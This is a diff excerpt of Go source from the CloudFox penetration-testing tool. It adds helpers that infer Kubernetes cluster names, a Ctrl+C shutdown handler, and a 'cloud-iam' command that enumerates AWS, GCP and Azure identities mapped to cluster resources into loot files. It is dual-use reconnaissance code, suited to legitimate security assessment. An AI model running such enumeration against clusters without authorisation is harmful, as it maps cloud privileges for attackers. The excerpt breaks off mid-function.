// getClusterNameFromNodes checks node labels for cluster name
|
||||
func getClusterNameFromNodes(ctx context.Context, clientset *kubernetes.Clientset) string {
|
||||
nodes, err := clientset.CoreV1().Nodes().List(ctx, metav1.ListOptions{Limit: 1})
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
for _, node := range nodes.Items {
|
||||
labels := node.GetLabels()
|
||||
|
||||
// Check known cloud provider labels first
|
||||
knownKeys := []string{
|
||||
"eks.amazonaws.com/cluster-name", // AWS EKS
|
||||
"kubernetes.azure.com/cluster", // Azure AKS
|
||||
"cloud.google.com/gke-nodepool", // GKE (nodepool contains cluster info)
|
||||
"cluster.x-k8s.io/cluster-name", // Cluster API
|
||||
"alpha.eksctl.io/cluster-name", // eksctl
|
||||
"kops.k8s.io/instancegroup", // kops
|
||||
}
|
||||
for _, key := range knownKeys {
|
||||
if val, ok := labels[key]; ok && val != "" {
|
||||
// For GKE nodepool, try to extract cluster name from node name
|
||||
if key == "cloud.google.com/gke-nodepool" {
|
||||
if gkeName := extractGKEClusterFromNodeName(node.Name); gkeName != "" {
|
||||
return gkeName
|
||||
}
|
||||
}
|
||||
return val
|
||||
}
|
||||
}
|
||||
|
||||
// Check provider ID for cloud-specific parsing
|
||||
if providerID := node.Spec.ProviderID; providerID != "" {
|
||||
if name := extractClusterFromProviderID(providerID); name != "" {
|
||||
return name
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: any label containing "cluster"
|
||||
for k, v := range labels {
|
||||
if strings.Contains(strings.ToLower(k), "cluster") && v != "" && !strings.Contains(v, "/") {
|
||||
return v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// getClusterNameFromKubeconfig extracts cluster name from kubeconfig context.
|
||||
// This is the most authoritative source — it's what the user configured.
|
||||
func getClusterNameFromKubeconfig() string {
|
||||
// Try to resolve kubeconfig path if not explicitly set
|
||||
kubeconfigPath := globals.KubeConfigPath
|
||||
if kubeconfigPath == "" {
|
||||
if env := os.Getenv("KUBECONFIG"); env != "" {
|
||||
kubeconfigPath = env
|
||||
} else if home, err := os.UserHomeDir(); err == nil {
|
||||
candidate := home + "/.kube/config"
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
kubeconfigPath = candidate
|
||||
}
|
||||
}
|
||||
}
|
||||
if kubeconfigPath == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
kubeconfig, err := clientcmd.LoadFromFile(kubeconfigPath)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Determine which context to use
|
||||
contextName := globals.KubeContext
|
||||
if contextName == "" {
|
||||
contextName = kubeconfig.CurrentContext
|
||||
}
|
||||
if contextName == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
ctx, ok := kubeconfig.Contexts[contextName]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Get cluster name from context
|
||||
clusterName := ctx.Cluster
|
||||
if clusterName == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
// For EKS: cluster entry is an ARN like "arn:aws:eks:us-east-1:123456789012:cluster/my-cluster"
|
||||
if strings.HasPrefix(clusterName, "arn:aws:eks:") {
|
||||
if name := extractEKSClusterName(clusterName); name != "" {
|
||||
return name
|
||||
}
|
||||
}
|
||||
|
||||
// For GKE: cluster entry looks like "gke_project-id_zone_cluster-name"
|
||||
if strings.HasPrefix(clusterName, "gke_") {
|
||||
if name := extractGKEClusterName(clusterName); name != "" {
|
||||
return name
|
||||
}
|
||||
}
|
||||
|
||||
// For generic kubeconfigs (including AKS which is typically just "my-aks-cluster"),
|
||||
// return the cluster name as-is. Don't split on underscores — that's a valid character
|
||||
// in cluster names and splitting breaks non-cloud names.
|
||||
if len(clusterName) < 200 {
|
||||
return clusterName
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// getClusterNameFromAPIServer extracts cluster name from API server URL
|
||||
func getClusterNameFromAPIServer(clientset *kubernetes.Clientset) string {
|
||||
if clientset.RESTClient() == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
apiURL := clientset.RESTClient().Get().URL()
|
||||
if apiURL == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
host := apiURL.Host
|
||||
|
||||
// EKS: https://<hash>.gr7.us-east-1.eks.amazonaws.com
|
||||
if strings.Contains(host, ".eks.amazonaws.com") {
|
||||
// Can't get cluster name from URL, but we know it's EKS
|
||||
return ""
|
||||
}
|
||||
|
||||
// AKS: https://<cluster>-<resource-group>-<random>.<region>.azmk8s.io:443
|
||||
if strings.Contains(host, ".azmk8s.io") {
|
||||
return extractAKSClusterFromURL(host)
|
||||
}
|
||||
|
||||
// GKE: https://<ip> or https://<hash>.gke.goog
|
||||
if strings.Contains(host, ".gke.goog") {
|
||||
return "" // Can't extract name from GKE URL
|
||||
}
|
||||
|
||||
// Generic: try to extract from hostname
|
||||
if name := extractClusterFromHostname(host); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// getClusterNameFromError forces an error and parses cluster info from it
|
||||
func getClusterNameFromError(ctx context.Context, clientset *kubernetes.Clientset) string {
|
||||
// Try to access a non-existent resource to get an error with cluster info
|
||||
_, err := clientset.CoreV1().Namespaces().Get(ctx, "cloudfox-nonexistent-namespace-probe", metav1.GetOptions{})
|
||||
if err != nil {
|
||||
errStr := err.Error()
|
||||
|
||||
// Some clusters include cluster name in error messages
|
||||
// Example: "namespaces \"cloudfox-nonexistent\" not found" with cluster context
|
||||
|
||||
// Check for server URL in error
|
||||
if strings.Contains(errStr, "server") {
|
||||
re := regexp.MustCompile(`server[:\s]+["']?([^"'\s]+)["']?`)
|
||||
if match := re.FindStringSubmatch(errStr); len(match) > 1 {
|
||||
if parsed, parseErr := url.Parse(match[1]); parseErr == nil {
|
||||
if name := extractClusterFromHostname(parsed.Host); name != "" {
|
||||
return name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractEKSClusterName extracts cluster name from EKS ARN
|
||||
// Format: arn:aws:eks:region:account:cluster/cluster-name
|
||||
func extractEKSClusterName(arn string) string {
|
||||
re := regexp.MustCompile(`arn:aws:eks:[^:]+:[^:]+:cluster/(.+)$`)
|
||||
if match := re.FindStringSubmatch(arn); len(match) > 1 {
|
||||
return match[1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractGKEClusterName extracts cluster name from GKE context
|
||||
// Format: gke_project-id_zone_cluster-name
|
||||
func extractGKEClusterName(context string) string {
|
||||
parts := strings.Split(context, "_")
|
||||
if len(parts) >= 4 && parts[0] == "gke" {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractGKEClusterFromNodeName extracts cluster name from GKE node name
|
||||
// Format: gke-cluster-name-nodepool-name-random
|
||||
func extractGKEClusterFromNodeName(nodeName string) string {
|
||||
if !strings.HasPrefix(nodeName, "gke-") {
|
||||
return ""
|
||||
}
|
||||
parts := strings.Split(nodeName, "-")
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
// Find where nodepool name starts (usually has "pool" or "default-pool")
|
||||
for i := 1; i < len(parts)-1; i++ {
|
||||
if parts[i] == "pool" || parts[i] == "default" {
|
||||
return strings.Join(parts[1:i], "-")
|
||||
}
|
||||
}
|
||||
// Fallback: take parts[1] as cluster name
|
||||
return parts[1]
|
||||
}
|
||||
|
||||
// extractAKSClusterFromURL extracts cluster name from AKS API server URL
|
||||
// Format: cluster-resourcegroup-random.region.azmk8s.io
|
||||
func extractAKSClusterFromURL(host string) string {
|
||||
// Remove port if present
|
||||
if idx := strings.Index(host, ":"); idx != -1 {
|
||||
host = host[:idx]
|
||||
}
|
||||
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// First part is: cluster-resourcegroup-random
|
||||
nameParts := strings.Split(parts[0], "-")
|
||||
if len(nameParts) >= 2 {
|
||||
// Return first part as cluster name (rough heuristic)
|
||||
return nameParts[0]
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractClusterFromProviderID extracts cluster hints from provider ID
|
||||
func extractClusterFromProviderID(providerID string) string {
|
||||
// AWS: aws:///us-east-1a/i-xxxxx
|
||||
// GCE: gce://project/zone/instance-name
|
||||
// Azure: azure:///subscriptions/xxx/resourceGroups/xxx/providers/Microsoft.Compute/virtualMachineScaleSets/xxx/virtualMachines/xxx
|
||||
|
||||
// For Azure, try to extract resource group (often named after cluster)
|
||||
if strings.HasPrefix(providerID, "azure://") {
|
||||
re := regexp.MustCompile(`resourceGroups/([^/]+)`)
|
||||
if match := re.FindStringSubmatch(providerID); len(match) > 1 {
|
||||
// Resource group often contains cluster name
|
||||
rg := match[1]
|
||||
// AKS resource groups are often: MC_<resource-group>_<cluster-name>_<region>
|
||||
if strings.HasPrefix(rg, "MC_") {
|
||||
parts := strings.Split(rg, "_")
|
||||
if len(parts) >= 3 {
|
||||
return parts[2] // cluster name
|
||||
}
|
||||
}
|
||||
return rg
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractClusterFromHostname attempts to extract cluster name from generic hostname
|
||||
func extractClusterFromHostname(host string) string {
|
||||
// Remove port if present
|
||||
if idx := strings.Index(host, ":"); idx != -1 {
|
||||
host = host[:idx]
|
||||
}
|
||||
|
||||
// Skip IP addresses
|
||||
if isIPAddress(host) {
|
||||
return ""
|
||||
}
|
||||
|
||||
// For hostnames like "kubernetes.default.svc.cluster.local" or similar
|
||||
if strings.Contains(host, "kubernetes") || strings.Contains(host, "cluster.local") {
|
||||
return ""
|
||||
}
|
||||
|
||||
// For simple hostnames, return the first segment
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) > 0 && len(parts[0]) > 0 && len(parts[0]) < 64 {
|
||||
return parts[0]
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// isIPAddress checks if a string is an IP address
|
||||
func isIPAddress(s string) bool {
|
||||
// Simple check for IPv4
|
||||
parts := strings.Split(s, ".")
|
||||
if len(parts) == 4 {
|
||||
for _, part := range parts {
|
||||
if len(part) > 3 {
|
||||
return false
|
||||
}
|
||||
for _, c := range part {
|
||||
if c < '0' || c > '9' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Check for IPv6 (contains colons)
|
||||
if strings.Contains(s, ":") && !strings.Contains(s, ".") {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package kubernetes
|
||||
|
||||
import "strings"
|
||||
|
||||
// ImageTagType returns the tag part of a container image, or "latest" if missing.
|
||||
func ImageTagType(image string) string {
|
||||
parts := strings.Split(image, ":")
|
||||
if len(parts) > 1 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return "latest"
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,61 @@
|
||||
package internal
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/signal"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// signalOnce ensures we only register the SIGINT handler once per process,
|
||||
// even if multiple cloud providers call SetupSignalHandler.
|
||||
var signalOnce sync.Once
|
||||
|
||||
// signalCancel is the cancel function for the process-wide signal context.
|
||||
var signalCancel context.CancelFunc
|
||||
|
||||
// signalCtx is the process-wide cancellable context.
|
||||
var signalCtx context.Context
|
||||
|
||||
// SetupSignalHandler sets up a process-wide Ctrl+C handler with double-press
|
||||
// confirmation to prevent accidental shutdowns of long-running commands.
|
||||
//
|
||||
// First Ctrl+C: prints a warning and starts a 5-second confirmation window.
|
||||
// Second Ctrl+C within 5s: cancels the returned context (graceful shutdown).
|
||||
// Third Ctrl+C: calls os.Exit(1) (force exit).
|
||||
// If the 5s window expires without a second press, resets to initial state.
|
||||
//
|
||||
// Returns a context that is cancelled on confirmed graceful shutdown.
|
||||
// Safe to call multiple times; only the first call registers the handler.
|
||||
func SetupSignalHandler() context.Context {
|
||||
signalOnce.Do(func() {
|
||||
signalCtx, signalCancel = context.WithCancel(context.Background())
|
||||
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, os.Interrupt)
|
||||
go func() {
|
||||
for {
|
||||
<-sigCh
|
||||
fmt.Printf("\n[cloudfox] Press Ctrl+C again within 5 seconds to gracefully shut down.\n")
|
||||
|
||||
select {
|
||||
case <-sigCh:
|
||||
// Second Ctrl+C within window: graceful shutdown
|
||||
fmt.Printf("[cloudfox] Shutting down gracefully, finishing in-flight requests and writing partial results...\n")
|
||||
fmt.Printf("[cloudfox] Press Ctrl+C again to force exit.\n")
|
||||
signalCancel()
|
||||
<-sigCh
|
||||
fmt.Printf("\n[cloudfox] Force exit.\n")
|
||||
os.Exit(1)
|
||||
case <-time.After(5 * time.Second):
|
||||
// Window expired, reset
|
||||
fmt.Printf("[cloudfox] Shutdown cancelled. Resuming...\n")
|
||||
continue
|
||||
}
|
||||
}
|
||||
}()
|
||||
})
|
||||
return signalCtx
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,828 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/apimachinery/pkg/runtime/schema"
|
||||
"k8s.io/client-go/dynamic"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
const K8S_CLOUD_IAM_MODULE_NAME = "cloud-iam"
|
||||
|
||||
var CloudIAMCmd = &cobra.Command{
|
||||
Use: "cloud-iam",
|
||||
Aliases: []string{"cloud-identity", "cloud-roles"},
|
||||
Short: "Enumerate all cloud IAM identities mapped to Kubernetes resources",
|
||||
Long: `
|
||||
Enumerate all cloud IAM identities (AWS IAM Roles, GCP Service Accounts, Azure Managed Identities)
|
||||
that are mapped to Kubernetes resources across the cluster.
|
||||
|
||||
This provides a centralized view of cloud identity mappings including:
|
||||
- Nodes with attached IAM roles/service accounts
|
||||
- ServiceAccounts with workload identity annotations
|
||||
- Pods/Deployments/DaemonSets/etc. with cloud role references
|
||||
- AWS Pod Identity Associations
|
||||
- Azure AAD Pod Identity bindings
|
||||
- GCP Workload Identity mappings
|
||||
|
||||
Examples:
|
||||
cloudfox kubernetes cloud-iam
|
||||
cloudfox kubernetes cloud-iam -A
|
||||
cloudfox kubernetes cloud-iam -n production`,
|
||||
Run: CloudIAM,
|
||||
}
|
||||
|
||||
// CloudIAMFinding represents a cloud identity mapping to a K8s resource
|
||||
type CloudIAMFinding struct {
|
||||
// Scope
|
||||
Namespace string // Empty for cluster-scoped resources like nodes
|
||||
Scope string // "Cluster" or "Namespace"
|
||||
|
||||
// Kubernetes Resource
|
||||
ResourceType string // Node, ServiceAccount, Pod, Deployment, DaemonSet, StatefulSet, ReplicaSet, Job, CronJob
|
||||
ResourceName string
|
||||
|
||||
// Cloud Identity
|
||||
CloudProvider string // AWS, GCP, Azure
|
||||
CloudIdentity string // ARN, email, client ID
|
||||
IdentityType string // IAM Role, Service Account, Managed Identity, Pod Identity, Workload Identity
|
||||
|
||||
// Detection Source
|
||||
Source string // How the identity was detected (annotation, env var, label, CRD, etc.)
|
||||
|
||||
// Additional context
|
||||
ControllerType string // For pods: what controller owns them
|
||||
ControllerName string
|
||||
ServiceAccount string // SA name if applicable
|
||||
}
|
||||
|
||||
type CloudIAMOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (c CloudIAMOutput) TableFiles() []internal.TableFile {
|
||||
return c.Table
|
||||
}
|
||||
|
||||
func (c CloudIAMOutput) LootFiles() []internal.LootFile {
|
||||
return c.Loot
|
||||
}
|
||||
|
||||
func CloudIAM(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithTimeout()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
dynamicClient := config.GetDynamicClientOrExit()
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating cloud IAM identities for %s", globals.ClusterName), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
|
||||
findings := collectCloudIAMFindings(ctx, clientset, dynamicClient, &logger)
|
||||
|
||||
if len(findings) == 0 {
|
||||
logger.InfoM("No cloud IAM identities found in cluster", K8S_CLOUD_IAM_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Sort findings for consistent output
|
||||
sort.Slice(findings, func(i, j int) bool {
|
||||
if findings[i].CloudProvider != findings[j].CloudProvider {
|
||||
return findings[i].CloudProvider < findings[j].CloudProvider
|
||||
}
|
||||
if findings[i].ResourceType != findings[j].ResourceType {
|
||||
return findings[i].ResourceType < findings[j].ResourceType
|
||||
}
|
||||
if findings[i].Namespace != findings[j].Namespace {
|
||||
return findings[i].Namespace < findings[j].Namespace
|
||||
}
|
||||
return findings[i].ResourceName < findings[j].ResourceName
|
||||
})
|
||||
|
||||
// Generate output
|
||||
output := generateCloudIAMOutput(findings, &logger)
|
||||
|
||||
err := internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"cloud-iam",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Print summary
|
||||
printCloudIAMSummary(findings, &logger)
|
||||
}
|
||||
|
||||
func collectCloudIAMFindings(ctx context.Context, clientset *kubernetes.Clientset, dynamicClient dynamic.Interface, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
// Collect from nodes
|
||||
nodeFindings := collectNodeCloudIAM(ctx, clientset, logger)
|
||||
findings = append(findings, nodeFindings...)
|
||||
|
||||
// Collect from service accounts
|
||||
saFindings := collectServiceAccountCloudIAM(ctx, clientset, dynamicClient, logger)
|
||||
findings = append(findings, saFindings...)
|
||||
|
||||
// Collect from pods (also detects from env vars, configmaps, secrets)
|
||||
podFindings := collectPodCloudIAM(ctx, clientset, logger)
|
||||
findings = append(findings, podFindings...)
|
||||
|
||||
// Collect from AWS Pod Identity Associations CRD
|
||||
awsPodIdentityFindings := collectAWSPodIdentityAssociations(ctx, dynamicClient, logger)
|
||||
findings = append(findings, awsPodIdentityFindings...)
|
||||
|
||||
// Collect from Azure AAD Pod Identity bindings
|
||||
azureIdentityFindings := collectAzureIdentityBindings(ctx, dynamicClient, logger)
|
||||
findings = append(findings, azureIdentityFindings...)
|
||||
|
||||
// Deduplicate findings
|
||||
findings = deduplicateCloudIAMFindings(findings)
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectNodeCloudIAM(ctx context.Context, clientset *kubernetes.Clientset, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
nodes, err := clientset.CoreV1().Nodes().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to list nodes: %v", err), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
return findings
|
||||
}
|
||||
|
||||
for _, node := range nodes.Items {
|
||||
cloudProvider := k8sinternal.DetectCloudProviderFromNode(node.Spec.ProviderID)
|
||||
if cloudProvider == "" || cloudProvider == "Unknown" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Check for IAM role from node labels
|
||||
cloudRole := k8sinternal.DetectCloudRoleFromNodeLabels(node.Labels)
|
||||
|
||||
// For AWS nodes, extract role from provider ID if available
|
||||
if cloudProvider == "AWS" && cloudRole == "" {
|
||||
// AWS nodes typically have IAM roles attached via instance profiles
|
||||
// The role is detectable via IMDS, but we note that IAM access is available
|
||||
cloudRole = extractAWSNodeRole(node.Spec.ProviderID, node.Labels, node.Annotations)
|
||||
}
|
||||
|
||||
// For GCP nodes, check for service account
|
||||
if cloudProvider == "GCP" && cloudRole == "" {
|
||||
cloudRole = extractGCPNodeServiceAccount(node.Labels, node.Annotations)
|
||||
}
|
||||
|
||||
// For Azure nodes, check for managed identity
|
||||
if cloudProvider == "Azure" && cloudRole == "" {
|
||||
cloudRole = extractAzureNodeIdentity(node.Labels, node.Annotations)
|
||||
}
|
||||
|
||||
// Even without explicit role, nodes in cloud have implicit IAM access
|
||||
if cloudRole == "" {
|
||||
cloudRole = "(instance profile/metadata available)"
|
||||
}
|
||||
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: "",
|
||||
Scope: "Cluster",
|
||||
ResourceType: "Node",
|
||||
ResourceName: node.Name,
|
||||
CloudProvider: cloudProvider,
|
||||
CloudIdentity: cloudRole,
|
||||
IdentityType: getNodeIdentityType(cloudProvider),
|
||||
Source: "node provider ID / labels",
|
||||
})
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectServiceAccountCloudIAM(ctx context.Context, clientset *kubernetes.Clientset, dynamicClient dynamic.Interface, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
for _, ns := range globals.K8sNamespaces {
|
||||
sas, err := clientset.CoreV1().ServiceAccounts(ns).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, sa := range sas.Items {
|
||||
// Check AWS EKS IRSA annotation
|
||||
if roleARN, ok := sa.Annotations["eks.amazonaws.com/role-arn"]; ok && roleARN != "" {
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "ServiceAccount",
|
||||
ResourceName: sa.Name,
|
||||
CloudProvider: "AWS",
|
||||
CloudIdentity: roleARN,
|
||||
IdentityType: "IAM Role (IRSA)",
|
||||
Source: "annotation: eks.amazonaws.com/role-arn",
|
||||
})
|
||||
}
|
||||
|
||||
// Check GCP Workload Identity annotation
|
||||
if gcpSA, ok := sa.Annotations["iam.gke.io/gcp-service-account"]; ok && gcpSA != "" {
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "ServiceAccount",
|
||||
ResourceName: sa.Name,
|
||||
CloudProvider: "GCP",
|
||||
CloudIdentity: gcpSA,
|
||||
IdentityType: "Service Account (Workload Identity)",
|
||||
Source: "annotation: iam.gke.io/gcp-service-account",
|
||||
})
|
||||
}
|
||||
|
||||
// Check Azure Workload Identity annotation
|
||||
if azureClientID, ok := sa.Annotations["azure.workload.identity/client-id"]; ok && azureClientID != "" {
|
||||
identityStr := azureClientID
|
||||
if tenantID, ok := sa.Annotations["azure.workload.identity/tenant-id"]; ok {
|
||||
identityStr = fmt.Sprintf("%s (tenant: %s)", azureClientID, tenantID)
|
||||
}
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "ServiceAccount",
|
||||
ResourceName: sa.Name,
|
||||
CloudProvider: "Azure",
|
||||
CloudIdentity: identityStr,
|
||||
IdentityType: "Managed Identity (Workload Identity)",
|
||||
Source: "annotation: azure.workload.identity/client-id",
|
||||
})
|
||||
}
|
||||
|
||||
// Check for AWS Pod Identity Associations (via CRD lookup)
|
||||
if dynamicClient != nil {
|
||||
awsInfo := checkAWSPodIdentityForSA(ctx, dynamicClient, ns, sa.Name)
|
||||
if awsInfo.RoleARN != "" {
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "ServiceAccount",
|
||||
ResourceName: sa.Name,
|
||||
CloudProvider: "AWS",
|
||||
CloudIdentity: awsInfo.RoleARN,
|
||||
IdentityType: "IAM Role (Pod Identity)",
|
||||
Source: fmt.Sprintf("CRD: PodIdentityAssociation/%s", awsInfo.Name),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectPodCloudIAM(ctx context.Context, clientset *kubernetes.Clientset, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
for _, ns := range globals.K8sNamespaces {
|
||||
pods, err := clientset.CoreV1().Pods(ns).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, pod := range pods.Items {
|
||||
// Use the existing DetectCloudRole function
|
||||
roleResults := k8sinternal.DetectCloudRole(ctx, clientset, pod.Namespace, pod.Spec.ServiceAccountName, &pod.Spec, pod.Annotations)
|
||||
|
||||
for _, result := range roleResults {
|
||||
// Skip if this is from ServiceAccount (already captured above)
|
||||
if strings.Contains(result.Source, "serviceaccount") {
|
||||
continue
|
||||
}
|
||||
|
||||
controllerType, controllerName := getControllerInfo(&pod)
|
||||
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: ns,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "Pod",
|
||||
ResourceName: pod.Name,
|
||||
CloudProvider: result.Provider,
|
||||
CloudIdentity: result.Role,
|
||||
IdentityType: getIdentityTypeFromProvider(result.Provider),
|
||||
Source: result.Source,
|
||||
ControllerType: controllerType,
|
||||
ControllerName: controllerName,
|
||||
ServiceAccount: pod.Spec.ServiceAccountName,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectAWSPodIdentityAssociations(ctx context.Context, dynamicClient dynamic.Interface, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
if dynamicClient == nil {
|
||||
return findings
|
||||
}
|
||||
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: "eks.amazonaws.com",
|
||||
Version: "v1alpha1",
|
||||
Resource: "podidentityassociations",
|
||||
}
|
||||
|
||||
// Try cluster-scoped first
|
||||
list, err := dynamicClient.Resource(gvr).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
// CRD not installed or no permissions
|
||||
return findings
|
||||
}
|
||||
|
||||
for _, item := range list.Items {
|
||||
spec, found, _ := getNestedMapCloudIAM(item.Object, "spec")
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
|
||||
namespace := getNestedStringCloudIAM(spec, "namespace")
|
||||
if namespace == "" {
|
||||
namespace = item.GetNamespace()
|
||||
}
|
||||
saName := getNestedStringCloudIAM(spec, "serviceAccountName")
|
||||
roleARN := getNestedStringCloudIAM(spec, "roleArn")
|
||||
|
||||
if roleARN != "" && saName != "" {
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: namespace,
|
||||
Scope: "Namespace",
|
||||
ResourceType: "PodIdentityAssociation",
|
||||
ResourceName: item.GetName(),
|
||||
CloudProvider: "AWS",
|
||||
CloudIdentity: roleARN,
|
||||
IdentityType: "IAM Role (Pod Identity)",
|
||||
Source: "CRD: eks.amazonaws.com/v1alpha1/PodIdentityAssociation",
|
||||
ServiceAccount: saName,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func collectAzureIdentityBindings(ctx context.Context, dynamicClient dynamic.Interface, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
if dynamicClient == nil {
|
||||
return findings
|
||||
}
|
||||
|
||||
// Check for AzureIdentityBinding (AAD Pod Identity v1)
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: "aadpodidentity.k8s.io",
|
||||
Version: "v1",
|
||||
Resource: "azureidentitybindings",
|
||||
}
|
||||
|
||||
list, err := dynamicClient.Resource(gvr).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
// CRD not installed
|
||||
return findings
|
||||
}
|
||||
|
||||
for _, item := range list.Items {
|
||||
spec, found, _ := getNestedMapCloudIAM(item.Object, "spec")
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
|
||||
azureIdentityRef := getNestedStringCloudIAM(spec, "azureIdentity")
|
||||
selector := getNestedStringCloudIAM(spec, "selector")
|
||||
|
||||
if azureIdentityRef != "" {
|
||||
// Lookup the AzureIdentity to get the client ID
|
||||
clientID := lookupAzureIdentityClientID(ctx, dynamicClient, item.GetNamespace(), azureIdentityRef)
|
||||
|
||||
findings = append(findings, CloudIAMFinding{
|
||||
Namespace: item.GetNamespace(),
|
||||
Scope: "Namespace",
|
||||
ResourceType: "AzureIdentityBinding",
|
||||
ResourceName: item.GetName(),
|
||||
CloudProvider: "Azure",
|
||||
CloudIdentity: clientID,
|
||||
